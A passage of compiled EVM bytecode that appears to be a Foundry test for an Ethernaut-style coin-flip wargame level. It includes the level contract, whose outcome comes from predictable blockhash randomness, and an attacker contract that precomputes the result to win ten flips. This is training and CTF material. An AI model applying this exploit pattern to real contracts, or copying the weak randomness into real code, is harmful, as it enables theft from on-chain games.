c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001bdf565b620007ff565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009c9565b604051620001c7919062001c22565b620001b3620001fa36600462001d0e565b62000a2b565b6200020a62000bf6565b604051620001c7919062001de1565b620001da62000d3e565b620001da62000d9e565b6200023762000dfe565b604051620001c7919062001ea4565b620001da6200025736600462001f71565b62000ef8565b6200019a62001088565b6200027162001263565b604051620001c7919062001f89565b620001b36200029136600462001fef565b62001338565b6200023762001457565b620002b8620002b23660046200200d565b62001551565b6040519015158152602001620001c7565b62000271620016e1565b6200019a620017b6565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b862001868565b620001da6200193c565b6200019a6200032f36600462001f71565b6200199c565b601e54620002b89060ff1681565b5f62000350600262000ef8565b9050805f8151811062000367576200036762002049565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962002049565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b0316905062001338565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001b84565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076492506001600160a01b03169050825f620007ff565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007e4575f80fd5b505af1158015620007f7573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200085b575f80fd5b505af11580156200086e573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008ce575f80fd5b505af1158015620008e1573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000946573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200096f9190810190620020ea565b905080600182516200098291906200227a565b8151811062000995576200099562002049565b60200260200101515f0151600281518110620009b557620009b562002049565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a02575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a8b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ab4919081019062002290565b90505f81848560405160200162000acd929190620022e2565b60408051601f198184030181529082905262000aed929160200162002390565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b51908590600401620023c2565b5f60405180830381865afa15801562000b6c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b95919081019062002290565b90505f62000be26040518060400160405280601081526020017f2e62797465636f64652e6f626a656374000000000000000000000000000000008152508362001a1090919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d1d578382905f5260205f2001805462000c8b90620023d6565b80601f016020809104026020016040519081016040528092919081815260200182805462000cb990620023d6565b801562000d085780601f1062000cde5761010080835404028352916020019162000d08565b820191905f5260205f20905b81548152906001019060200180831162000cea57829003601f168201915b50505050508152602001906001019062000c6b565b50505050815250508152602001906001019062000c19565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000edf57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e8b5790505b5050505050815250508152602001906001019062000e21565b60605f8267ffffffffffffffff81111562000f175762000f1762001c70565b60405190808252806020026020018201604052801562000f41578160200160208202803683370190505b5090505f5b8381101562001081575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f8e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fb4919062002410565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001032575f80fd5b505af115801562001045573d5f803e3d5ffd5b50505050808383815181106200105f576200105f62002049565b6001600160a01b03909216602092830291909101909101525060010162000f46565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010df575f80fd5b505af1158015620010f2573d5f803e3d5ffd5b505050505f604051620011059062001b92565b604051809103905ff0801580156200111f573d5f803e3d5ffd5b5090505f5b600a8110156200123657737109709ecfa91a80626ff3989d68f67f5b1dd12d631f7b4f30620011554360016200242e565b6040518263ffffffff1660e01b81526004016200117491815260200190565b5f604051808303815f87803b1580156200118c575f80fd5b505af11580156200119f573d5f803e3d5ffd5b50506021546040517fd018db3e0000000000000000000000000000000000000000000000000000000081526001600160a01b039182166004820152908516925063d018db3e91506024016020604051808303815f875af115801562001206573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200122c919062002444565b5060010162001124565b5060205460215462001260916200125a916001600160a01b03918216911662001551565b62001ab2565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f20018054620012a690620023d6565b80601f0160208091040260200160405190810160405280929190818152602001828054620012d490620023d6565b8015620013235780601f10620012f95761010080835404028352916020019162001323565b820191905f5260205f20905b8154815290600101906020018083116200130557829003601f168201915b50505050508152602001906001019062001286565b5f80604051620013489062001ba0565b604051809103905ff08015801562001362573d5f803e3d5ffd5b5090505f604051620013749062001bae565b604051809103905ff0801580156200138e573d5f803e3d5ffd5b5084836040516200139f9062001bbc565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff080158015620013d9573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b15801562001438575f80fd5b505af11580156200144b573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200153857602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411620014e45790505b505050505081525050815260200190600101906200147a565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620015ad575f80fd5b505af1158015620015c0573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b1580156200161e575f80fd5b505af115801562001631573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562001695573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620016be9190810190620020ea565b9050600181511115620016d6576001915050620016db565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f200180546200172490620023d6565b80601f01602080910402602001604051908101604052809291908181526020018280546200175290620023d6565b8015620017a15780601f106200177757610100808354040283529160200191620017a1565b820191905f5260205f20905b8154815290600101906020018083116200178357829003601f168201915b50505050508152602001906001019062001704565b6023546040517fca669fa70000000000000000000000000000000000000000000000000000000081526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063ca669fa7906024015f604051808303815f87803b15801562001826575f80fd5b505af115801562001839573d5f803e3d5ffd5b50506020546021546200186693506200186092506001600160a01b03918216911662001551565b62001b31565b565b6008545f9060ff161562001880575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa1580156200190f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062001935919062002465565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b5f620019a982436200242e565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007e4575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be89062001a6790869086906004016200247d565b5f60405180830381865afa15801562001a82573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001aab9190810190620024ae565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001b17575f80fd5b505afa15801562001b2a573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001b00565b61063080620024e583390190565b61021b8062002b1583390190565b610ae58062002d3083390190565b611e7a806200381583390190565b610daa806200568f83390190565b6001600160a01b038116811462001260575f80fd5b5f805f6060848603121562001bf2575f80fd5b833562001bff8162001bca565b9250602084013562001c118162001bca565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001c645783516001600160a01b03168352928401929184019160010162001c3d565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001caa5762001caa62001c70565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001cdc5762001cdc62001c70565b604052919050565b5f67ffffffffffffffff82111562001d005762001d0062001c70565b50601f01601f191660200190565b5f6020828403121562001d1f575f80fd5b813567ffffffffffffffff81111562001d36575f80fd5b8201601f8101841362001d47575f80fd5b803562001d5e62001d588262001ce4565b62001cb0565b81815285602083850101111562001d73575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001dac57818101518382015260200162001d92565b50505f910152565b5f815180845262001dcd81602086016020860162001d90565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001e9557603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001e7e57605f1988850301835262001e6b84865162001db4565b948d01949350918c019160010162001e4c565b505050968901969350509087019060010162001e06565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001f6357888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001f4d5783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001f09565b5096890196945050509086019060010162001ecb565b509098975050505050505050565b5f6020828403121562001f82575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001fe257603f1988860301845262001fcf85835162001db4565b9450928501929085019060010162001fb0565b5092979650505050505050565b5f6020828403121562002000575f80fd5b813562001aab8162001bca565b5f80604083850312156200201f575f80fd5b82356200202c8162001bca565b915060208301356200203e8162001bca565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562002079576200207962001c70565b5060051b60200190565b5f6200209362001d588462001ce4565b9050828152838383011115620020a7575f80fd5b62001aab83602083018462001d90565b5f82601f830112620020c7575f80fd5b62001aab8383516020850162002083565b8051620020e58162001bca565b919050565b5f6020808385031215620020fc575f80fd5b825167ffffffffffffffff8082111562002114575f80fd5b818501915085601f83011262002128575f80fd5b81516200213962001d58826200205d565b81815260059190911b8301840190848101908883111562002158575f80fd5b8585015b83811015620022595780518581111562002174575f80fd5b86016060818c03601f190112156200218a575f80fd5b6200219462001c84565b8882015187811115620021a5575f80fd5b8201603f81018d13620021b6575f80fd5b89810151620021c962001d58826200205d565b81815260059190911b8201604001908b8101908f831115620021e9575f80fd5b6040840193505b828410156200220b5783518252928c0192908c0190620021f0565b845250505060408201518781111562002222575f80fd5b620022328d8b83860101620020b7565b8a830152506200224560608301620020d8565b60408201528452509186019186016200215c565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620016db57620016db62002266565b5f60208284031215620022a1575f80fd5b815167ffffffffffffffff811115620022b8575f80fd5b8201601f81018413620022c9575f80fd5b620022da8482516020840162002083565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200231b81600585016020880162001d90565b7f2e736f6c2f00000000000000000000000000000000000000000000000000000060059184019182015283516200235a81600a84016020880162001d90565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f8351620023a381846020880162001d90565b835190830190620023b981836020880162001d90565b01949350505050565b602081525f62001aab602083018462001db4565b600181811c90821680620023eb57607f821691505b6020821081036200240a57634e487b7160e01b5f52602260045260245ffd5b50919050565b5f6020828403121562002421575f80fd5b815162001aab8162001bca565b80820180821115620016db57620016db62002266565b5f6020828403121562002455575f80fd5b8151801515811462001aab575f80fd5b5f6020828403121562002476575f80fd5b5051919050565b604081525f62002491604083018562001db4565b8281036020840152620024a5818562001db4565b95945050505050565b5f60208284031215620024bf575f80fd5b815167ffffffffffffffff811115620024d6575f80fd5b620022da84828501620020b756fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6105b68061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610333565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610355565b61014c565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610333565b6101bd565b610114610252565b61011d5f6102ab565b565b5f60405161012c90610312565b604051809103905ff080158015610145573d5f803e3d5ffd5b5092915050565b5f80839050600a816001600160a01b031663e6f334d76040518163ffffffff1660e01b8152600401602060405180830381865afa15801561018f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101b3919061038c565b1015949350505050565b6101c5610252565b6001600160a01b0381166102465760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61024f816102ab565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161023d565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6101dd806103a483390190565b6001600160a01b038116811461024f575f80fd5b5f60208284031215610343575f80fd5b813561034e8161031f565b9392505050565b5f8060408385031215610366575f80fd5b82356103718161031f565b915060208301356103818161031f565b809150509250929050565b5f6020828403121561039c575f80fd5b505191905056fe6080604052600160ff1b600255348015610017575f80fd5b505f80556101b5806100285f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c80631d263f6714610038578063e6f334d714610060575b5f80fd5b61004b6100463660046100f5565b610076565b60405190151581526020015b60405180910390f35b6100685f5481565b604051908152602001610057565b5f8061008360014361012f565b405f1c90508060015403610095575f80fd5b60018190556002545f906100a99083610148565b90505f816001146100ba575f6100bd565b60015b9050841515811515036100e8575f805490806100d883610167565b9091555060019695505050505050565b50505f8080559392505050565b5f60208284031215610105575f80fd5b81358015158114610114575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156101425761014261011b565b92915050565b5f8261016257634e487b7160e01b5f52601260045260245ffd5b500490565b5f600182016101785761017861011b565b506001019056fea2646970667358221220340baa842e0c9604da3f1bb0118d26fbf456e41472b3ecebd152e10eda819c4264736f6c63430008180033a2646970667358221220ac574ef832d796d475aba5bda1a01612ee088a68feec01b460c71eb2bf8d6b2064736f6c634300081800336080604052600160ff1b5f55348015610016575f80fd5b506101f7806100245f395ff3fe608060405234801561000f575f80fd5b5060043610610029575f3560e01c8063d018db3e1461002d575b5f80fd5b61004061003b366004610124565b610054565b604051901515815260200160405180910390f35b5f818161006260014361015e565b5f805491409250906100749083610183565b90505f81600114610085575f610088565b60015b6040517f1d263f67000000000000000000000000000000000000000000000000000000008152811515600482015290915073ffffffffffffffffffffffffffffffffffffffff851690631d263f67906024016020604051808303815f875af11580156100f6573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061011a91906101a2565b5095945050505050565b5f60208284031215610134575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff81168114610157575f80fd5b9392505050565b8181038181111561017d57634e487b7160e01b5f52601160045260245ffd5b92915050565b5f8261019d57634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156101b2575f80fd5b81518015158114610157575f80fdfea2646970667358221220142b6854e5ced4943f2a79e7a9da4a0fac626e6055796d878db192d15608df4264736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b0380